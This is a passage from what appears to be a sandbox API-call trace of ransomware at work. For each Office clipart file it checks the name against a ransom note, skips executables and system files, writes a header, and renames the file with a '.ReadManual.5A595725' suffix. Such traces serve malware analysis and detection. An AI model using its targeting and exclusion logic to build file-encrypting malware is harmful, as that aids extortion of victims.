dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1 [0262.798] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00296_.WMF" | out: lpString1="FD00296_.WMF") returned="FD00296_.WMF" [0262.798] lstrcmpiW (lpString1="FD00296_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.798] StrStrIW (lpFirst="FD00296_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.798] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.798] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.798] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.798] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.798] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.798] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.798] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.798] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.798] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.798] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.798] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.798] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.798] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.798] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.798] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" [0262.798] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.ReadManual.5A595725" [0262.798] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.ReadManual.5A595725") returned 87 [0262.798] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38346716410) returned 1 [0262.798] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x20 [0262.799] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.799] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15856) returned 1 [0262.799] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3df0, lpName=0x0) returned 0x184 [0262.799] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.799] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.800] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.801] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.801] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3df0) returned 0x2f0000 [0262.801] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.801] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38347027737) returned 1 [0262.802] CloseHandle (hObject=0x184) returned 1 [0262.802] SetSecurityInfo () returned 0x57 [0262.802] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.802] CloseHandle (hObject=0x194) returned 1 [0262.802] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b40e00, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54b40e00, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1 [0262.802] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00297_.WMF" | out: lpString1="FD00297_.WMF") returned="FD00297_.WMF" [0262.802] lstrcmpiW (lpString1="FD00297_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.802] StrStrIW (lpFirst="FD00297_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.802] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.802] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.802] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.802] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.802] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.802] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.802] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.802] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.802] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.802] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.802] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.802] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.802] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.802] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.802] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" [0262.802] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.ReadManual.5A595725" [0262.802] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.ReadManual.5A595725") returned 87 [0262.802] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38347125646) returned 1 [0262.803] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x20 [0262.803] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.804] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18194) returned 1 [0262.804] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4712, lpName=0x0) returned 0x184 [0262.804] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.805] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.805] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.806] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.806] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4712) returned 0x2f0000 [0262.806] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.807] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38347532791) returned 1 [0262.807] CloseHandle (hObject=0x184) returned 1 [0262.807] SetSecurityInfo () returned 0x57 [0262.807] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.807] CloseHandle (hObject=0x194) returned 1 [0262.807] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c56500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c56500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1 [0262.807] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00306_.WMF" | out: lpString1="FD00306_.WMF") returned="FD00306_.WMF" [0262.807] lstrcmpiW (lpString1="FD00306_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.807] StrStrIW (lpFirst="FD00306_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.807] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.807] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.807] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.807] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.807] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.807] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.807] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.807] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.807] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.807] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.807] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.807] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.807] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.807] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.807] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" [0262.807] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.ReadManual.5A595725" [0262.807] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.ReadManual.5A595725") returned 87 [0262.808] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38347629880) returned 1 [0262.808] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x20 [0262.808] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.808] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=46814) returned 1 [0262.808] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb6de, lpName=0x0) returned 0x184 [0262.808] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.809] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.809] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.811] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.811] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb6de) returned 0x2f0000 [0262.812] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.813] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38348142373) returned 1 [0262.813] CloseHandle (hObject=0x184) returned 1 [0262.813] SetSecurityInfo () returned 0x57 [0262.813] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.813] CloseHandle (hObject=0x194) returned 1 [0262.813] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c8c800, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2c8c800, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1 [0262.813] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00336_.WMF" | out: lpString1="FD00336_.WMF") returned="FD00336_.WMF" [0262.813] lstrcmpiW (lpString1="FD00336_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.813] StrStrIW (lpFirst="FD00336_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.813] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.813] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.813] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.813] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.813] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.813] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.813] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.813] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.813] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.813] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.813] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.813] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.813] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.814] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.814] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" [0262.814] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.ReadManual.5A595725" [0262.814] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.ReadManual.5A595725") returned 87 [0262.814] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38348244476) returned 1 [0262.814] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x20 [0262.814] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.814] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6068) returned 1 [0262.814] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17b4, lpName=0x0) returned 0x184 [0262.814] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.815] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.815] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.817] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.817] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17b4) returned 0x2f0000 [0262.817] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.817] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38348616396) returned 1 [0262.817] CloseHandle (hObject=0x184) returned 1 [0262.817] SetSecurityInfo () returned 0x57 [0262.818] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.818] CloseHandle (hObject=0x194) returned 1 [0262.818] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf943800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf943800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1 [0262.818] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00361_.WMF" | out: lpString1="FD00361_.WMF") returned="FD00361_.WMF" [0262.818] lstrcmpiW (lpString1="FD00361_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.818] StrStrIW (lpFirst="FD00361_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.818] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.818] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.818] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.818] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.818] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.818] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.818] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.818] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.818] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.818] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.818] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.818] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.818] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.818] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.818] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" [0262.818] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.ReadManual.5A595725" [0262.818] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.ReadManual.5A595725") returned 87 [0262.818] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38348717092) returned 1 [0262.818] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x20 [0262.819] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.819] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4074) returned 1 [0262.819] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfea, lpName=0x0) returned 0x184 [0262.819] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.820] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.820] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.822] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.822] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfea) returned 0x2f0000 [0262.822] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.822] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38349081163) returned 1 [0262.822] CloseHandle (hObject=0x184) returned 1 [0262.822] SetSecurityInfo () returned 0x57 [0262.822] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.822] CloseHandle (hObject=0x194) returned 1 [0262.822] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6bcf00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb6bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1 [0262.822] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00369_.WMF" | out: lpString1="FD00369_.WMF") returned="FD00369_.WMF" [0262.822] lstrcmpiW (lpString1="FD00369_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.822] StrStrIW (lpFirst="FD00369_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.822] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.823] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.823] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.823] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.823] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.823] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.823] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.823] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.823] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.823] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.823] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.823] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.823] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.823] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.823] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned="\\\\?\\c:\\Program 